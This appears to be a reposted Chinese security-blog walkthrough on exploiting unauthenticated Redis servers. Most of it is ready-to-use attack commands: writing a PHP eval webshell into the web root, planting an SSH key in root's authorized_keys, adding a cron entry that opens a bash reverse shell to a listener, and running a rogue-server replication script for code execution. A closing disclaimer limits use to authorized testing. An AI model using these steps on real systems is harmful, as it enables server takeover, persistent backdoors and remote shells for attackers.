本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-Redis未授权利用
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
![图片[1]--Redis未授权利用-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/01/d2b5ca33bd193811.png)
0x03 漏洞复现
1.通过空口令连接
redis-cli -h x.x.x.x
![图片[2]--Redis未授权利用-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/01/d2b5ca33bd193858.png)
2.查看设置目录和设置文件
CONFIG GET dir #设置目录
CONFIG GET dbfilename #设置文件名
![图片[3]--Redis未授权利用-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/01/d2b5ca33bd193923.png)
3.利用方式一、写webshell,蚁剑连接成功(知道物理路径且web目录有写权限写webshell)
config set dir /var/www/html/ #数据保存路径,网站根目录(根据实际情况来)
set xx "\n\n\n<?php @eval($_POST['x']);?>\n\n\n" #数据保存文件名,写入一句话木马
config set dbfilename shell.php #生成木马文件shell.php
save #保存
![图片[4]--Redis未授权利用-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/01/d2b5ca33bd194037.png)
4.利用方式二、写ssh-keygen公钥,连接成功(开启22端口且权限够大的情况下写公钥)
config set dir /root/.ssh #切换到密钥路径
config set dbfilename authorized_keys #写入文件名
set miyao "\n\n\n你的密钥\n\n\n" #写入密钥
save #保存
ssh -i id_rse root@IP #连接ssh
![图片[5]--Redis未授权利用-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/01/d2b5ca33bd194117.png)
5.利用方式三、写计划任务,nc监听得到shell(能够回连且权限够的话)
nc -lvvp 7779 #监听77779端口
set payload "\n* * * * * bash -i >& /dev/tcp/x.x.x.x/4444 0>&1\n" #设置变量值为反弹shell语句
config set dir /var/spool/cron/ #设置目录为目标机定时任务目录
config set dbfilename root #设置文件名
save #保存
![图片[6]--Redis未授权利用-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/01/d2b5ca33bd194152.png)
6.利用方式四、redis主从复制<= 5.0.5
https://github.com/n0b0dyCN/redis-rogue-server #下载脚本
python3 redis-rogue-server.py --rhost 受害者IP --lhost 攻击者IP --exp=exp.so
![图片[7]--Redis未授权利用-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2023/01/d2b5ca33bd194242.png)
© 版权声明
安全小天地的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
安全小天地拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:anquanclub@foxmail.com
THE END
请登录后查看评论内容